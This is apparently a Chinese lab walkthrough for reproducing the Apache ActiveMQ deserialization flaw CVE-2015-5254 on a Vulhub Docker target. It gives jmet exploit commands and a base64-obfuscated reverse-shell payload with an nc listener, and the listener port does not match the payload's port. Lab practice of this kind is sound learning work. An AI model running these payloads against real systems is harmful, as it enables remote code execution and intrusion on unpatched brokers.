简介:
Apache ActiveMQ是Apache软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响版本:
Apache ActiveMQ 5.13.0之前5.x版本。
Kali-Docker环境搭建:
kali linux 下搭建 Vulhub 靶场(图文详解)_kali安装vulhub-CSDN博客
漏洞复现:
首先打开kali虚拟机cd到vulhub目录:cd vulhub
再cd到activemq目录打开CVE-2015-5254环境:
cd activemq
cd CVE-2015-5254
编译环境: docker-compose build
运行环境: docker-compose up -d
这个时候可以在自己的浏览器输入靶机ip打开环境web网页:密码admin/admin
然后下载漏洞利用工具 :
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
输入: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.199.120 61616 (自己靶机ip)
注释:-Q指定队列消息名,-I指定JMS客户端,这里是ActiveMQ,-Y指定具体的命令,-Yp指定payload类型,其后分别是ActiveMQ所在机器的ip及工作端口
现在会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息
点击消息就可以触发漏洞。
然后使用反弹shell的命令输入:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTk5LjEwOS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.199.120 61616
前面是输入自己的IP后进行的编码 后面是输入被攻击者的IP
然后另开一个窗口打开监听命令:nc -nvlp 8080
最后可以发现已经反弹shell主机已上线。至此复现完毕。感谢大家!!!